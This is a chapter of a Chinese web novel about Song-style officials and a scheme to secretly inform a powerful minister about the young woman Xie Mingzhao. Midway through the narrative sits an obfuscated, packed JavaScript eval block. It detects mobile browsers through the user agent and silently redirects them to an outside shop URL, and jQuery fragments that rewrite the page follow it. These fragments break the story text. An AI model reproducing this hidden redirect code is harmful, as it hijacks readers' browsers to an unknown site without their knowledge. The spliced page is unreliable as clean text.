84.旧恨新仇
作品:《青云梯·女子拜相》 周文清听着,面色也凝重起来。他之前虽知昌乐果业不易,却未深究加工品运输中的这些具体难关。如今听来,这确实是个死结:鲜果难存,加工品亦受制于储运,利润被路途损耗和风险无情吞噬。
王佑缓了缓,眼中却燃起一丝希望的光,话锋一转:“去岁夏末,我偶尔听下属提及,有一家外县的作坊,曾来我县采购过一批桃和梨,数量不算顶大,但价格公道,结算爽快,很得那几个村子果农的称道。我当时留了心,派人细细打听,才知道,那家作坊,竟是来自贵县,正是献上这沤肥奇法的谢明昭姑娘家的产业!”
他目光灼灼地看向周文清,“周兄,你与谢家熟识,又对谢明昭姑娘多有了解。依你看,谢家作坊当时采购这批果子,是偶然为之,还是另有长远打算?谢姑娘她既能于农事上钻研出增产妙法,心思之巧,格局之新,远超寻常。她又经营作坊惠及乡里,不知对我昌乐这满山遍野、却因储运艰难而困守山中的果子,可也曾有过什么特别的思量?或者,谢家作坊是否有意扩大收购,或是尝试些别的……或许能突破这储运难关的新法子?”
王佑越说越急切:“周兄,愚弟这两年来,无时无刻不在苦思冥想,如何能让县里这些香甜的果子,真正变成百姓口袋里实实在在的、不因路途而大幅折损的银钱。我看那谢明昭姑娘,绝非池中之物!她若肯将那份巧思,分一点点在我昌乐的果业困局上,哪怕只是提供一个新思路,或者谢家作坊愿意尝试新的加工、保存、运输之法对于我昌乐县成千上万的果农而言,那便是绝处逢生,是天大的福音啊!”
他双手紧紧握在一起,指节有些发白,言辞恳切到了近乎哀求的地步:“周兄,你我至交,愚弟今日豁出这张脸皮,恳请周兄,可否……可否代为引荐?让愚弟能有幸与谢家,尤其是谢明昭姑娘,当面请教、商谈一番?无论此事成与不成,昌乐上下,都会铭记周兄今日援手之情,愚弟个人,更是感激不尽,没齿难忘!”
周文清听罢,心中震动,他沉吟良久,方缓缓道:“王兄一片爱民之心,体察入微,周某感佩。谢明昭此女,确常有些非常之想,于实务一道,往往能注意到旁人忽略之处。不过,她毕竟年少,且正全力备考,自家作坊事务也繁杂。王兄所言储运之难,确是根本关卡。我回县之后,可以代为转达你的一片诚意与昌乐果业的具体困境。亦可寻觅一个合适的时机,安排王兄与谢姑娘,当面晤谈。”
他话锋微转,语气更为审慎:“然,商道经营,风险自担,尤其是涉及储运改良,可能所费不赀。官府在此中,宜牵线搭桥,厘清困局,或可在政策、场地、协调本地果农配合等方面提供便利,却不宜强求结果。最终能否合作,以何种创新方式尝试破解这储运难题,还需看谢家自身的考量、能力与意愿。此中分寸,王兄当能体察。”
王佑闻言,非但没有失望,反而如同在茫茫黑夜中终于看到了指引的灯火,脸上瞬间绽开了感激的笑容,连连拱手:“足够了!周兄,这便足够了!只要你肯牵这根线,给愚弟和昌乐一个当面陈情、商讨的机会,无论结果如何,愚弟都心满意足,感激涕零!成事在天,谋事在人,至少让我们看到了尝试解决这储运死结的一线可能!来,周兄,我代昌乐数万为储运所苦的果农,再敬你一杯!一切,尽在不言中!”
两人再次举杯,杯沿轻碰,发出清脆的声响。窗外,府城已是华灯初上,点点灯火如星子般铺展开来。
————
怀安县距离青州府是最近的县城,县令李才几乎是踩着子时的更鼓声,一路风尘仆仆赶回了县衙。他并未惊动太多人,只让贴身长随伺候着,用冰冷的井水匆匆擦了把脸,洗去满身疲惫与尘土,又胡乱扒了几口厨下一直温着的清粥小菜,便觉再也吃不下。胃里沉甸甸的,并非因为食物,而是因在青州府衙所见所闻,尤其是知府沈墨对那沤肥法、对周文清、更对那个名叫谢明昭的少女的态度,像一块巨石压在他的心头。
他挥退左右,独自在书房内踱了两圈。炭盆里的火早已熄灭,室内寒意渐重,他却浑然不觉。最终,他走到书案前,拿起笔,却又放下。沉吟片刻,他走到门口,低声对守在外面的心腹仆从吩咐道:“去,请吴先生过来,就说有十万火急之事,刻不容缓!”
不多时,一个身着深色棉袍、面容清癯、眼神却透着算计的男子悄无声息地走了进来。
他拱手行礼,声音平稳,听不出情绪,“李大人,深夜急召,可是府城之行……不顺?”他抬眼,迅速捕捉到李才脸上那掩饰不住的烦躁与阴郁。
李才示意他坐下,自己也回到书案后,再无平日对这位吴先生的客套,急不可耐地将今日青州府衙议事的经过,原原本本、详详细细地复述了一遍。
“府尊心意已决,五县择地试行,由青源县周文清总揽协调。此事关乎政绩考成,沈大人言语间甚是看重,严令不得敷衍。”李才说完,端起早已凉透的茶盏猛灌一口,却压不住喉头的干涩与心头的火气。
吴庸一直垂目静听,手指在袖中微微蜷缩。当“谢明昭”这个名字从李才口中清晰吐出时,他捻着袖口的手指骤然收紧,平静无波的面容下,仿佛有阴冷的暗流瞬间涌动!谢明昭!这个名字,如同烧红的烙铁,烫得他心中恨意翻腾而起。
从青州俯到青源县的那些交锋,那精心布置的局被轻易识破、反制,自己不得不如同丧家之犬般仓皇逃离,潜伏隐匿的狼狈与耻辱……过往种种,霎时间全数涌上心头!
他强压下心中翻江倒海的杀意与惊怒,缓缓抬起眼,声音依旧保持着刻意的平稳,甚至带上了一丝阴恻恻的意味:“李大人,此事恐怕远非农事增产能囊括。祸患之苗,已露其尖。”
李才被他眼中一闪而逝的寒光慑得一凛,连忙问:“先生何出此言?还请明示!”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17106820|191328||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
吴庸微微向前倾身,压低声音:“这沤肥法若能成,功劳簿上,周文清是首倡督导之功,那谢明昭便是献策实证之功。假以时日,若这谢明昭再借周文清之手,弄出些什么别的‘利国利民’的新花样,积少成多,聚沙成塔,周文清凭此政绩步步高升,谢明昭及其家族势力借官府背书水涨船高……大人,到那时,在这青州地界,还有您和怀安的立足之地吗?更别提,周文清的座师,与京中崔尚书,并非一路。”
李才听得冷汗涔涔,吴庸的话,将他心中模糊的不安彻底点明,并放大成了迫在眉睫的威胁。他声音发干:“那依先生之见,眼下该如何是好?府尊严令,不得不从啊。”
“府尊之令,自然要遵从,而且要做得漂亮,不能让人挑出丝毫错处,尤其是不能被那周文清抓住把柄。但更重要的是,必须立即将此间情势,尤其是谢明昭此人再次冒头、并获得沈墨公开支持之事,以最紧急的方式,密报给京中的崔尚书!”
“崔尚书?”李才精神一振,如同抓住了救命稻草。
吴庸肯定道,“不错。崔尚书身在枢机,明察秋毫。谢明昭此人,心机深沉,手段诡谲,绝非寻常女子,行事出格,必须让尚书大人知晓。”
李才彻底被说服了,连连点头:“先生思虑周全!必须立刻报与尚书大人知晓!只是,寻常驿传太慢,且恐消息泄露……”
吴庸早已准备妥当,从怀中取出一个只有半个巴掌大小的信囊,这是他们这一系传递紧急密信的暗记。
“大人可亲笔修书一封,不必过长,但须要点明:沤肥法及其成效,沈墨对此法及对谢明昭、周文清之明确褒奖与支持态度,此法推行可能引发的青州地方官员政绩格局变化,以及点明谢明昭此人,不可小觑,恐成崔尚书大业之潜在阻碍。将此信密封,装入此囊。我自有最隐秘快速的渠道,确保此信能以最快速度,安全直达崔尚书手中,且绝无第三人经手。”
李才再无犹豫,立刻铺开一张密写纸,提笔蘸墨,凝神书写。他按照吴庸的提示,言辞简练却切中要害,将谢明昭的名字与潜在威胁,写得格外突出。写罢,小心吹干,折叠成特定样式,装入吴庸提供的特制信囊,用火漆仔细封好,郑重交还给吴庸:“一切拜托先生了!务必加急!”
吴庸接过信囊,指尖微微用力,他垂下眼帘,掩去眸中翻涌的恶意,沉声道:“大人放心,此事关乎重大,某必以最快速度办妥。京中尚书大人得信,自有明断。眼下,大人还需立即着手沤肥法试行筹备,姿态要做足,章程要周密,至少表面上,绝不能落于人后,授人以柄。”
李才深吸一口气,压下心中纷乱:“我明白,明日便召集县丞、主簿商议此事。”
吴庸不再多言,将信囊贴身收好,拱手一礼,转身悄无声息地退出了书房,身影迅速融入外面浓得化不开的夜色中,如同鬼魅。
————

